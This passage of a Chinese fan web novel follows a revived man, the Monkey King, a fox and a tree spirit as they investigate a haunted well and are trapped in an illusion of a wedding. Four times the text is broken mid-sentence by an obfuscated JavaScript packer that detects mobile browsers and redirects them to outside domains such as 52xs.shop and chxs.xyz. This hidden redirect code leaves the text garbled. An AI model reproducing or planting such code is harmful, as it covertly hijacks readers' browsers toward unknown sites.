猴哥道:“这急匆匆的像是怕被吃了似的,我还什么都没问他呢。晏良小弟,你能召唤出白无常,那可能召出阎王?” 晏良诚实地摇摇头:“不清楚,这得试过才知道。”他顿了顿,笑问,“猴哥,你想见阎王做什么?” 猴哥答道:“向他问生死。白无常不过是他手下的小将,问他当然更痛快一点,你什么时候有空试一试?” 晏良摸摸下巴:“得在天时地利人和的情况下试一试,毕竟没个借口就召鬼,显得我没事找事一样。” 猴哥很不解地看他一会儿,感慨道:“人类的规矩就是奇怪,可你借尸还魂那白无常却没钩走你的魂魄,对你还有点忌惮,你也要想那么多么?” 晏良道:“忌惮归忌惮,我如果真在他们面前撒欢,别说召唤鬼差了,我就要被召过去了。”他朝猴哥眨眼,“在有秘密的情况下,还是小心为上。” 猴哥直来直往,心里有疑惑便干脆地问了出来:“你的秘密不是借尸还魂吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14601746|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏良挠头:“不止如此。” 猴哥点头,随后问他:“你是怎么死的?” 晏良说:“久病难愈,寿数已尽。” 猴哥沉默了一下,看向晏良的眼神有些复杂,晏良笑了起来,温和道:“我濒死之际有奇遇,才能行此借尸还魂之事,那奇遇就是我不能言的秘密。” 猴哥:“你遇到的是神仙?” 晏良:“不,不是神仙。” 猴哥的眼睛澄澈如镜,尽管晏良没有说出全部都真相,但足以让猴哥明白晏良是个什么样的人呢。他拉住晏良的手,道:“我要去寻长生,你要和我一起去吗?” “求之不得。” 晏良紧紧反握,语气飘忽得如在梦中一般。 · 天地昏暗,滔滔水声将晏良唤醒。身侧彼岸花丛如海浪般涌动,血黄色的河水翻滚不息。 晏良抬眼。 身前站着一名少年,神色平和,对着他微笑。 “终于见到你了。”他说。 “晏世安。”晏良叫出他的名字。 “那些记忆你不必想起来,我会一起带走的。”晏世安的笑容很腼腆,“我没别的意思,只是想看看你是什么样的人。” 晏良有点笑不出来。他沉默地注视着眼前的年轻人。 虽然他没有晏世安的记忆,但他在知道晏世平的经历时就已经知晓了晏世安究竟遭遇了什么。 “再见。”晏世安说。 四周泛起迷蒙的雾,雾中显现出两道高挑的人影,头戴高帽,一黑一白,都用一种十分微妙相当古怪的眼神注视着晏良。 “再见。” 最终,晏良如此说道。 梦醒,朦胧的月光印在墙面上。晏良的头顶悬着一张毛猴脸。 “你醒啦。”猴哥说,“你是不是做了噩梦?如果不是我在床边抵着你的话你都要摔下床了。” “真的?谢谢你。”晏良一惊,“我是不是吵到你休息了?” “骗你的。”猴哥嘻嘻一笑,“你睡相没那么差。所以你是做噩梦了吗?” 晏良嘴角一抽,无奈笑道:“不是噩梦。” “是吗?那就好。” 晏良压下梦中的沉郁心情,起了床,递给猴哥两个桃子,继续重修《回春诀》,并反复在脑海中复习《问天卦灵术》的知识。 与之前去过的几个世界相比,这个世界的风险不是一般的大,有白切黑的槐树精就有可能存在演都不演上来就开大的精怪,保命是最最最最紧要的事。 被晏世平逮来伪装晏父晏母的两个画皮鬼被白无常逮走,临行前未做任何假饰,太阳彻底升起之时,晏父晏母的住处传来撕心裂肺的惊恐叫声。 晏良面色平静地结束了自己的动作。 晏世平的前世与今生的父母有血海深仇,恩怨难断,他无从评价。 8.寻仙问道(八) ‖晋。江文学城独发‖ * 晏世平忘却前世记忆,醒来时头痛欲裂,却要迎来父母死状诡异的事实。尸骨散发着腐烂的臭气,像是已经死了许多年。 可晏世平分明记得,他前天还去探望了病中的父母,之后…… 他在那之后做了什么? 晏世平茫然,下意识地向弟弟晏世安求助。 自小体弱的弟弟面色苍白,眼神悲伤,没有回答他的疑问。 在弟弟身边,那只猴子望着那两具尸身,眼睛灵动得令人不敢对视。 晏世平仿佛被烫着了似的,飞快地收回视线。 不管是弟弟,还是父母的尸身,都令晏世平感到陌生。 · 原主父母头七过后,晏良留下一纸道别信,没有惊动任何人,和猴哥一起悄悄离开。 虽然这个世界的开局太让人悲伤,但能遇到猴哥实在是太幸运了。晏良抛开杂念,心情愉快地与猴哥踏上旅程。 猴哥来自于东胜神洲花果山,如今他们身在南赡部洲,而菩提祖师的方寸山位于西牛贺洲,相隔西海。 而晏良在与猴哥交谈后发现他来南赡部洲已有两年,串长城、游小巷,始终未得仙缘,不着头脑。 而这两年间,猴哥遇见过不少麻烦,但都巧妙的一一化解,那次被逮住而遇见晏良纯属大意。 小孩天真烂漫,遇见会说话的猴子也不会过于激动,猴哥见到路边的小孩吟诵着的诗句,颇有哲思,激动之下开口询问,却被路过的男人逮住,当做珍奇送来城中买卖。 “还好遇见了你。”猴哥并不吝于道谢。 “我也很高兴能遇见你。”晏良快乐地说。 没有人能在偶像面前保持平静,晏良在猴哥面前一直表现得相当活泼,几乎把空间里一直以来收集的东西都展示给猴哥看,但凡猴哥对什么东西表现出兴趣他都会立刻表示会送给他。 美猴王在花果山一呼百应,却也没见过这么热情的阵仗,尤其是晏良似乎是在一开始就对他表现出来十足十的善意,这令猴哥感到困惑不已。 离开晏家出城之后,晏良释放天性,扛着猴哥嘻嘻哈哈往前蹿,蹿了没多远,一口冷风灌进嘴里,一口气没上来,踉跄跪地,咳得撕心裂肺。 “……” 猴哥蹲在一旁的草地上看他,表情有点无语:“你急什么?” 晏良竭力止住咳嗽后才笑道:“虽然身体会难受,但心情很愉快啊。” 猴哥说:“你得好好珍惜身体。” 晏良低声笑了一下,没有说话,站起身,和猴哥继续向前。 这次他们走得很悠闲,旷野的风拂过脸颊,朝阳缓缓升起,金色的光芒如流水般散落。地面上映着一人一猴长长的影子。 前方是大槐树郁郁葱葱的轮廓,槐花飘落如雨,猴哥伸手接住一朵槐花,而晏良伸手拦住破空而来的槐树枝条。 晏良说:“要抽我起码等我到近前再抽啊,隔那么远就动手,显得我很欠抽似的。” 大槐树在晏良跟前现形,长发飘飘,衣衫舞动,浑身上下闪着绿莹莹的光,眼神温良无辜:“我是在欢迎你。” 够了,现在就没必要装了。 晏良很想这么说,但无言地看了他一会儿,什么都没说。 晏良经历过不同的世界,积累了与各种不同性格的人相处的经验,深知面对白切黑时就该装傻,不能揭穿对方的底细——否则事情会变得相当麻烦。 在人树猴相对无言之时,白狐兴高采烈地冲了出来:“晏良!你来了!今天也能做烤鸡给我吃吗!” 晏良还没答话,大槐树甩过去一根枝条:“你少想点吃的。” 大槐树有种摊牌懒得装的颓废感,白狐嗷嗷叫着让槐树收回枝条,猴哥嘻嘻笑着在一旁叫好,闹了一阵之后,晏良终于有空说起正事。 “什么?你们要一起走?”白狐惊讶又不解地说,“你怎么这么喜欢这只猴子?” “因为猴哥是我猴哥啊。” 晏良用一种理所当然的语气说着让狐狸和树摸不着头脑的话。 猴哥嘻嘻一笑。 白狐瞪着他俩:“……难以理喻。” 大槐树道:“所以你们来做什么?” 晏良和猴哥对视一眼,随后他笑道:“有缘千里来相会,我来向你们道别。” 白狐一个冲刺紧紧抱住晏良的胳膊,大声道:“我也想去,能带上我吗?” 晏良:“咦?” 白狐眨着圆溜溜的黑亮大眼睛:“不是说好了要给我晏世安转世的下落吗?他一时半会儿不可能转世,但我得跟着你才能及时知道他的消息呀。” 槐树说:“他只是嘴馋而已。” 白狐反驳:“哪有,我报恩也很重要的!” 晏良去请示猴哥,猴哥笑嘻嘻地说:“如果你愿意做我小弟,我就同意你和我们一起走。” 白狐道:“你个野猴子想要小弟回山里不就行了!” 猴哥傲然道:“我猴子猴孙多不胜数,你就算拜入我山头也排不上号。” 晏良在一旁叫嚣:“对!我们猴哥可是美猴王!” 白狐:“你就没一点主见吗!这猴子究竟喂了你什么□□?” 晏良:“嘿嘿嘿嘿。” 猴哥也很疑惑晏良那莫名的热情究竟是因为什么,但晏良没有恶意,所以猴哥不在意,毕竟晏良给他的水果很好吃,晏良本人也是一个相当讨喜的人物。 总而言之,白狐没有认猴哥做大哥,但决定死缠烂打跟着他们两个一起走,晏良对此无所谓,笑眯眯地看着他俩打打闹闹。 槐树精面无表情地飘在一旁,已经预料到日后会到来的孤独,而晏良忽然转头望向他,笑意盈盈道:“那你呢?” “……什么意思?”槐树精的神色有些不太确定。 “和我们一起走吧。”晏良说。 世间有着不同性格的人,大槐树显然不是喜欢一直蹲在一个地方的家伙,晏良觉得就算自己加固修改了结界,以槐树目前的精神状态来看,自毁也是迟早的事。 槐树精说:“你觉得我为什么不自己出去走一走?” 他其实心动了,但事实摆在眼前,根本不可能。 晏良微微一笑:“你不要忘了,如今困住你的结界里也有我出的一份力。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630369|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 槐树神色微动。晏良行借尸还魂之术,地府的白无常却未出手对付他,足以证明晏良的来历非同一般,也许确实有能够带他离开这片地方的法子。 他心中生出一丝欢喜,期待的心情几乎难以抑制,问道:“你打算怎么做?” 晏良不知道从哪里摸出一把剪刀,不好意思地道:“我得先试试。” 槐树精:“……” 合着这人没一点准备拿他做实验呢? 晏良倒真不是故意的,在此之前他修习的是问天卦灵术中相对实用且靠谱的部分,仅仅是这部分就深奥至极,后面那些捉妖画符的部分在他经历的那些世界无法派上用场,晏良只有闲暇时瞄几眼,只有大致的印象,压根没有现场使用的机会。 他很感谢槐树的贡献,怀着真诚的心情进行实践。虽然在召唤鬼差时一下子就召唤出有名有姓的白无常,但晏良估摸着自己的运气属于薛定谔的运气,这次实践持续的时间很长,总是在关键的地方失败。 槐树精抱着一种“看你能玩出什么花来”的心情冷眼旁观,就算晏良用坏了好几根他的枝条,他也未发一言。 毕竟他已经很久不曾觉得自己是活着的。过去枝叶繁茂,根系蔓延,但在那漫长的寂寞生涯中,大槐树的心似乎也随着岁月腐朽了。 期间猴哥和白狐打来打去,又结伴去远处河边玩水,满地打滚。热闹得不像话。 晏良埋头苦试,花了将近三个时辰的时间,终于完工了。他根据槐树精的形象雕刻出一个槐木小人,该有的布置已经做好,只需要槐树精分出一分神识钻进其中,他就能跟着晏良离开。 猴哥和白狐围着晏良手里那个小木人看来看去,制作迅速,但能看出相当精致。 槐树精的视线从小木人身上移到晏良脸上,后者眼睛明亮,笑意如春水般流淌。 他不敢说自己见多识广,但也与许多道士和尚打过交道,晏良所使用的术法很独特,是道术,却又有些许不同。 山野春风微凉,晏良手指泛红,槐树没有说话,依照晏良的话分出一缕神识,钻进木人之中。 视野转瞬间发生变化,大槐树能够看到空中飘荡的自己,又能用他的眼睛看到晏良手中焕发出绿色光晕的木人,眨眼之间,那小木人便如有了血肉一般活动自如,胸膛微微起伏,像人类一般呼吸。 猴哥伸手揪住小槐树的呆毛,晃了晃,惊叹道:“这是仙术?” 白狐按捺不住,也伸手上去扒拉,头顶槐树伸出枝条将他撇开,得到一句震惊的质问:“为什么只打我?” 猴哥若有所思地瞅着手里的小木人,又转头看向空中漂浮的槐树精,随后想通了什么,眯起眼睛笑了起来。 槐树精面不改色。 吃人嘴短,拿人手软,大槐树当然要尊重晏良喜爱的对象。 晏良将手笼进袖中,详细地给槐树精阐述注意事项,说长不长,末了来一句:“别的我也不太清楚,我初次尝试这种事,有什么不对,咱们两个一起研究。” 槐树精心想,这个人为什么能同时集靠谱与不靠谱于一体? 他才打算信任晏良的,这人就表现得很不靠谱。 9.寻仙问道(九) ‖晋。江文学城独发‖ * 晏良知道猴哥未来的师父是方寸山菩提祖师,因此踏上旅途后,他就将猴哥要寻的仙缘告诉了猴哥。 他所知道的故事里,美猴王在南部赡洲游走八九年才至西海,作筏出海,登至西牛贺洲遇方寸山樵夫,由此拜入菩提祖师门下。 晏良自己只要尽可能地获得他人的情绪,与人产生交集,活着就好,其他的都无所谓。陪猴哥走一趟寻访仙缘之旅,想想就令晏良激动。 猴哥久久不得缘法,晏良如今给出一个方向,他当然不会放过这个机会。 一个人与三个非人类一路前往南赡部洲的西边,以往猴哥一个猴子难免会有所不便,如今有了擅长交际、开朗靠谱的晏良,不管做什么事都方便了许多。 反而晏良成了最显眼的那一个。毕竟一个带着猴子、狐狸的年轻人从各种意义上来说都相当引人注目。 晏良不可能为了省事而让他们不说话,他起先考虑过日后的旅途中会出现的麻烦,但等真的融入这个世界之后,他才发现这个世界对神鬼妖怪之事接受良好。 妖精不是随处可见,但总有人亲眼见过。与不存在神鬼的世界中不同,因为神鬼妖怪是确切存在于世间,所以种种见闻,追根溯源,全部都是真实发生过的事件。 就算猴哥忽然说一句话,只要想办法向目击者解释,似乎就能解释得通了。 之所以用“似乎”这个词,是因为晏良还没有实践过,并处在要想办法解释的情况下。 出行数日,终于有人发现晏良身边的动物会说话。小巷外,站着一个身材瘦削的少年,目瞪口呆地望着他们。 猴哥说:“被人偷听了。” 白狐说:“怎么办?要干掉他吗?” 槐树说:“我觉得是个好办法。” 晏良则向那少年扬起笑脸,道:“在下是一名道士,云游此地,这三位是我遇见的同伴,不是坏蛋。” 少年仿佛终于反应过来似的,惊叫:“妖怪——!!!” 小镇上人不多,小巷入口须臾间便被镇民围住,白狐蹲在晏良的肩膀上缩了缩,想起一些不是很好的回忆。 猴哥叉腰道:“我可不是妖怪。” 白狐不信猴哥说自己是石头里蹦出来的话,小声嘀咕:“你自己听听这话有多么矛盾。” 猴哥回头瞪了他一眼。 见到这幅画面,人群更加吵闹,口吐人言的猴子和狐狸令晏良这个看起来十分正常人类的存在感都有点微弱了。 晏良早已预料到过这样的场景,走上前,扬起春风般和煦的笑容,拥挤的人群不自觉后挪,给晏良让开一条路。 在他们眼里,晏良虽然外表温良,仪态潇洒,却隐隐有一种令人不敢直视的威仪。 晏良开口解释,将先前的话添加些许内容,表示他和同伴们都是好人,即使同伴们是妖怪,也是好妖。 人们面面相觑,有人喊道:“你怎么证明你是人呢?” 晏良笑容不减:“我为什么要证明我是人?我说我是人,我就是人。” 他顶着一张笑脸说着语气强硬的话,颇有威慑力,众人一时噤声,无人敢开口,而晏良话风一转,悠悠道:“我途经此地,见此镇上方有黑气萦绕,这才进镇察看,并非有意惊扰诸位。若我没料错,最近镇上应当发生了不少怪事。” 大槐树神情古怪地看了晏良一眼,他们进镇的原因分明是晏良说想尝尝这里的饭菜,他已经吃够了烤鸡烤鱼了。 但晏良也不是完全在说假话,这个镇子确实有古怪,他话一出口,众人交头接耳低低絮语片刻,人群中走出一位面容憨厚、神色紧张的中年男子。 男人搓着手,小心翼翼地道:“您是道士,那您会捉妖吗?” 这么说着的同时,他情不自禁地望向晏良身旁的猴哥和白狐,又怕触了霉头,慌忙收回视线。 哦,任务来了。 晏良笑脸加深:“在下是名道士,略通道术,不敢自夸,还请细说。” · “你真是个烂好人。” 结合与晏良遇见后发生的事情,大槐树得出了这样的结论,并毫不犹豫地告诉了晏良。 “别这么说,”晏良双手笼袖,不赞同地道,“我这么做也是为了我自己。” 槐树站在桌面上仰头看了他片刻,没说话。 此时他们正身在贾叔——之前那个男人家中,就在不久前,围在小巷口的人群你一言我一语向晏良说了镇上最近发生的怪事。 镇里有一口荒废多年的井,许久未有人使用,但一个月之前开始,那口废井近处的人家时常在晚上听到从井中传出的古怪呜咽声。 起初只有近处的人家能够听到,过了几日,听到的人越来越多,有人说听到的是笑声,有人说是什么东西互相击打的声音,而在不久前,镇上胆大的少年们在夜间结伴去废井处探险,回来后却纷纷高烧不退,躺在床上说着胡话。 直到晏良来到镇上的这天,他们仍旧躺在床上昏迷不醒。而贾大叔遇到的事情比那更严重,他的独子一直在城中做工,难得回来探亲,听说镇上发生的怪事,不顾父亲阻拦,坚持要来井边探个究竟。 贾大叔的儿子一夜未归,消失已有七日之久。 而晏良已经去了附近几处昏迷的少年家中察看情况,他遇见的妖怪不多,一切都是刚起步,只是摆出一副深奥的模样,没有立刻开药画咒,只等今晚去井边一探究竟。 那些少年归来后昏迷不醒,只有贾大叔的儿子一去不归,所以晏良现在正在探查贾家是否有什么不对劲。 然而还是之前那句话,晏良是半个新手,平生只逮过恶人没捉过妖,因此笼着袖子转了一圈,发现不对劲的地方有很多,却又说不出为什么不对劲。 猴哥在一旁咔咔啃桃子,虽然晏良一本正经,但他就是莫名能看出晏良有点心虚。 于是猴哥宽慰他:“别担心,实在不行搬鬼差,也许这次试一试就能召唤出阎王爷了。” 白狐嘲笑道:“还召唤阎王爷?被瞎想了,怎么可能?——不是,你当真了?” 晏良摸摸下巴,认真地点头:“不愧是猴哥,好建议,值得一试。” 此路不通换条路,自己捉不了妖抓不来鬼,可以叫会的人来嘛。 槐树精正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630370|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在桌上盘腿修炼,闻言也没忍住吐槽:“你真的不怕自己栽进去吗?” 这人可是借尸还魂的主,还想往阎王爷跟前凑……究竟是什么让他这么无所顾忌的? 晏良歪头,想起血色彼岸花,氤氲蒸腾的血雾,对他毫无动作的黑白无常,顿了顿,轻轻道:“没什么好怕的。” 他也很想知道此间生死簿上是否有自己的名字。 门外端着茶水点心的贾大叔僵在原地,进退不得。 他好像听到了什么不得了的事情…… · 月光如水,繁星点点。 人,猴,狐与树蹲守在井边。晏良数着时辰,亥时三刻,如镇民所说,从井中传来一道幽森的声音。 如泣如诉,幽怨非常。 晏良向同伴们确认一番,发现他们与自己听到的声音没有两样,随后他抬脚踏上井沿,探头往里看,其中青草丛丛,井壁之上覆盖着大片青苔。 声音确实是从井中传来的。晏良搬起脚边人头大小的石头砸了下去,“咚”的一声,石头落地声重重传来。 井底十分坚实,根本不可能存在伪装的空间。 ——如果放在之前的世界,这样的结论或许是正确的。 但现在晏良只会考虑另一种可能,无非是与困住大槐树的结界相似的手法,结界、障眼法、迷阵,总之不能讲科学。 晏良打算再砸一个石头,正转身要搬,猴哥已经捧着比人头更大的石头跳上井台,干脆地扔了下去。 声音沉闷。 不愧是猴哥,就连扔石头都和他心有灵犀。 晏良快乐地想。 一人一猴总共扔了七个石头,附近能找到的大石块几乎都被他们扔了下去。 大槐树面无表情地道:“这么做有什么用?” 晏良说:“很快乐。” 白狐蹲坐在井边,瞅着下方层层叠叠的石头,忍不住道:“这口井快被你俩填满了。” 晏良和猴哥探头往里望。 在他俩丢石头的期间,那道哭声没有停下,一直回荡在他们耳畔。 猴哥道:“哭哭唧唧的真是烦人,有话直说就是。哭什么哭!” 前半句带着几分嫌弃,最后一句直接朝着井里喊,荡起一阵回音。 不知道是不是错觉,晏良总觉得那道哭声似乎卡了一瞬。 晏良手腕一转,拿出纸笔迅速画了一张符,摸出他的武器,神棍——一个通体漆黑的长棍。将符咒贴在神棍上,晏良咔哒按了个按钮,棍子穿过石头的空隙,直直地向井底捣去。 那道哭声猛地变了调,化作尖叫。 “啊——!!” 震耳欲聋,犹如魔音贯耳。 猴哥和白狐纷纷捂住耳朵,晏良不适地蹙眉,手里的神棍一转,那道声音却没有减弱,反而更加尖利,并夹杂着更为凄婉的哭声。 “好吵啊。”晏良有点苦恼地说。 猴哥赞同地点头。 晏良看了他一眼,想了想,对井下那不知名的存在威胁道:“再不闭嘴的话,你以后连叫的机会都没有了。” 那尖利的叫声戛然而止。 10.寻仙问道(十) ‖晋。江文学城独发‖ * 晏良注意到猴哥正看着自己手里的神棍——其实不止猴哥在看,白狐与槐树都投来了视线,但晏良只注意到了猴哥。 “这是我的武器,名叫神棍。”晏良用一种认真到微妙的温和语气如此说道。 晏良其实有很多很多想说的话,但看着猴哥,种种复杂的情绪堵在心间,一个字都说不出口。 他选择棍棒作为武器的理由说来十分简单,可以控制下手的力度,不至于一击毙命,更是因为齐天大圣孙悟空。 现在的猴哥还不是孙悟空,却还是他一直以来都喜欢得不得了的角色。 在晏良抛出威胁的话语之后,井底一时无声,而不过几息的功夫,黑色的烟雾从井底蔓延升腾,眨眼间便将众人包裹其中。 青色浓烟如同有生命似的翻滚涌动,在月色下勾勒出一张古怪的狰狞哭脸,片刻后向井底迅速缩去,而原地已经没有晏良等人的身影。 · 晏良一睁眼,便发觉了身体的不对劲。 身体超乎寻常的轻快,晏良已经很久不曾有过这样的感受了。朝四周看了一眼,晏良断定自己是被拉入了某个构造的幻境之中。 秋高气爽,花香四溢,红灯笼高挂,囍字耀眼,一派喜庆之象。 晏良低头打量自己,双手粗糙,骨相年轻,不远处是正低头吃草的两匹马儿,一匹白头黑身,一匹全棕。 他是个马夫。 看来是吃不了喜酒了。晏良不由得遗憾地想,如果他的身份是参加喜宴的客人就便利多了。 前头的喜事与后面的马夫没关系,但晏良还是悄悄溜出马厩所在地,在附近转了一圈,确认自己是在新娘子这一方,府中所有人都一幅喜气盈盈笑脸满面的开心模样。 问天卦灵术时灵时不灵,晏良算得出井中有鬼,却算不出究竟发生了什么才会导致井中怨念丛生,持续至今。 一口井荒废总有理由,而晏良白天从镇民口中得到了不少消息。据说,五十年前,这口井是一口有着甘甜井水的好井,一户姓贾的人家挖出这口井,用井水做的饭、泡的茶十分独特,令人念念不忘,于是他们在镇上做起了饭食生意,生意极好,虽然辛劳,但赚了不少钱。 至于为什么这口井会荒废,说法不一,井水自然干涸、得罪大人物、被人嫉妒阻断水脉……总之没有人给个准话。 众说纷纭的传言不一定真实,但背后一定有与真相有关的线索。 晏良在附近转了一圈,决定做个玩忽职守的马夫,从附近下人的房间中找了一身衣裳,随后扩大了自己的探索区域。 在去井边之前,晏良提前画了一些符咒,因为不知道什么符咒能派上用场,于是晏良挑了一些杀伤力极大、防御力极好的符咒,以及一些起辅助作用的符咒,总共十种,。 效用强大的符咒意味着难度大,晏良花了将近半个时辰才摸到诀窍,此后就是畅通无阻、行云流水,在两个时辰内高效率地画了百来张符咒。 那些符咒晏良现在也依旧能够使用。他将符咒按类别各自分给了猴哥他们,其中有定位功能的符咒,但被幻境所迷惑,难以分辨他们的具体所在之处。 晏良给自己贴了张隐身符,试探性地在人前晃了晃,没有人注意到他。 看来幻境的主人并没有那么神通广大。 晏良揣着符咒溜达,一路上经过砖墙绿瓦,穿过庭院走廊,人声鼎沸,热闹不已,他径直来到了新娘子所在的院子,站在暗处旁观。 新娘院子里的氛围更加喜庆,人人脸上都挂着笑脸,看多了后竟觉得人人都戴着生硬的面具。 晏良趁新娘房间内的丫鬟出门时侧身溜了进去,耀眼夺目的红铺满整个房间,铜镜前坐着身穿红嫁衣的新娘,背影单薄,表情苦闷。 “你来了。” 新娘轻声开口。语调中也带着一丝凄婉,这声音与井底的泣声竟有些相似。 晏良不动声色,没有回应。 房间的窗子被推开,新娘和晏良同时看了过去。 窗口有一颗毛绒绒的白狐狸脑袋,狐头以下,是被衣物包裹的、健壮的男性身躯。 晏良:……咦? 新娘子却仿佛没有看见似的,缓缓起身,走向窗边,抬手扶住窗扇,忧伤道:“你是来同我道别的么?” 白狐说:“嗯,你要这么想就是的。” 新娘说:“你、你就忍心看我嫁给别人么?只要你一句话,我就跟你走……” 白狐说:“想吃席的话是不是只能去新郎那边?会有烤鸡吗?” 一段完全不成立的对话,牛头不对马嘴,对牛弹琴。 这场面太魔性,晏良看得沉默,回过神后揭下隐身符,身影显现,白狐看见他,高兴地道:“晏良!” “你在说什么?……”新娘顺着白狐的视线看去,和一脸坦荡的晏良对上视线,惊叫出声,准确地叫出了马夫的名字,“李绍!你怎么会在这里?!” 晏良没有说话,这是一个发生在过去的故事,新娘在重现她当年所做的事情,但晏良没有按照剧本走的理由。更何况,一个顶着狐狸脑袋的情人已经很不符合剧本了。 难道是因为妖怪很独特吗?所以白狐没有隐去重要的外貌? 直到被涌进来的人逮住,丢进府里的柴房时,晏良也还在思考这个问题。 他总会在莫名其妙的地方有着旺盛的求知欲。于是晏良真诚地向白狐请教,后者本以为晏良一脸严肃是在思考逃脱的方法,结果得到这么个无关紧要的问题,不由得无语。 “你——唉,算了。我和你一样,醒来的时候也是陌生男人的样子,但我不喜欢人脸,这才变成这幅模样的。”白狐说,“幻境有限制,我得保持人形,否则才不会顶着这样招笑的样子呢……别笑了!” 白狐以狐狸模样说话时是可爱动人,而如今萌萌的狐狸脑袋在健壮的男人身躯上一开一合说人话,只会令人不忍直视。 晏良连忙止住笑,正色道:“你有什么发现么?我还没有找到破除幻境的关键,正在考虑要不要四处贴爆破符,看能否炸掉幻境。” “……你怎么什么都要试一试?”白狐无力地说。 他已经搞不懂晏良究竟是什么人了,有时似乎无所不能,有时却像新手上路。 “我这边也没什么发现,醒过来的时候我在房间里看书,是寄住在这里的远方亲戚。”白狐说,“看来是书生与小姐的爱情故事,但好像不是一段佳话。” “……”晏良微愣,说的话却和正事没一点关系,“我头一次见到这么健壮的书生。” “我也没见过……这重要吗!?” 柴房内飘满灰尘,柴火堆积,晏良从地上爬起来,抬手震开外头的门锁,回过头要招呼白狐离开,对方嘴巴微张,表情飘忽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643464|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你究竟是什么人?”白狐语气奇怪地道,“这也是你修习的道术的一种么?” “不,这是武功。”晏良推开门。 方才晏良与白狐引起的骚乱似乎不曾发生过一般,府中依旧是一派喜庆祥和。 所有人都是傀儡,上演着过去发生的故事,能够做出的反应相当有限,不管晏良和白狐做什么,他们都会回到原有的轨道。 “猴哥和槐树可能在新郎那边,只能等待新郎迎新娘,想办法去那边了。”晏良如此推断。 白狐没说话,他想吃席,想吃鸡。 随着晏良话音落地,外面响起噼里啪啦的鞭炮声,敲锣打鼓声更是震耳欲聋。 迎亲队伍已经来了。 晏良和白狐顺着人群朝外挤去,屋外有鲜艳的红轿子,以及高头大马上的披戴着大红花的……猴哥。 白狐立刻看向晏良,毕竟比起自己肯定是戴红花的猴子更搞笑! 晏良赞叹:“哇!猴哥好威武!” ——所以究竟是为什么?! 白狐百思不得其解。 猴哥蹲在马背上四处张望,所有人视若无睹,热情地迎新郎下马,而这时,屋内的新娘已经由人背着缓缓走来。 晏良正要揭符向猴哥打招呼,猴哥却飞快地往红轿上贴了一张符咒,随后径直跳向藏在人群中的晏良。 晏良一把接住他:“猴哥!你怎么知道我在这里?” 猴哥说:“我听到了你的声音。” 晏良露出满足的笑容。 猴哥贴的是爆破符,这段对话结束之后,以轿子为圆点,巨大的爆炸声响起,湮没了整个幻境。 · 大槐树冷漠地看着水中倒影。 爆炸带来的烟雾遮住了画面,他陷入沉默。 作为一棵闲了很久的树,大槐树总有时间研究术法,进行修炼 ,因此颇为精通迷阵之术,这点幻境对他来说不过小菜一碟。 因此一入幻境,他便脱离了幻境给他设定的身份,默默地去新郎家中最关键的井边等待晏良等人的到来。 猴子明明听说了水井的故事,却只是遥遥望了一眼,随后继续穿着新郎官的衣裳四处乱窜,一副新奇得不得了的模样。 而晏良和白狐……大槐树懒得评价,一个爱闲逛,一个想吃席,连猴子都比不上。 好歹猴子还发现了轿子的不对劲,往上面贴了晏良给的爆破符。 那两个家伙是不是太过随意了点? 独自一树的大槐树几乎没什么表情,显得有些冷漠,但他也是真的在为其余三人担心。 晏良为他雕刻的身体只有本体实力的七分之一,所以槐树不管是本体还是分身都在孜孜不倦的修炼,然而即便如此,却也没办法将那三个家伙从幻境中拽出来。 幻境的主人依旧藏身幕后,槐树心中生出一股戾气,身后顿时伸出数根槐枝,以极为狠厉的力道挥向四周。 既然拽不出他们,那便想办法破坏幻境。 被枝条抽中的墙壁掉落一块石砖,蓝色的天空逐渐皲裂,槐树仰头,却又眼睁睁地看着石砖回到原位,裂纹消失不见。 槐树恨恨咬牙。 水井中的画面发生了变化,新的画面浮现出来,槐树压下心中的恼恨,向里望去。 一颗涂脂抹粉的狐狸脑袋占据了画面中央。 槐树:“……” 11.寻仙问道(十一) ‖晋。江文学城独发‖ * 晏良看起来什么都没做,事实上也确实什么都没做。毕竟他是一个新手,总得认真观察一番才能心里有底。 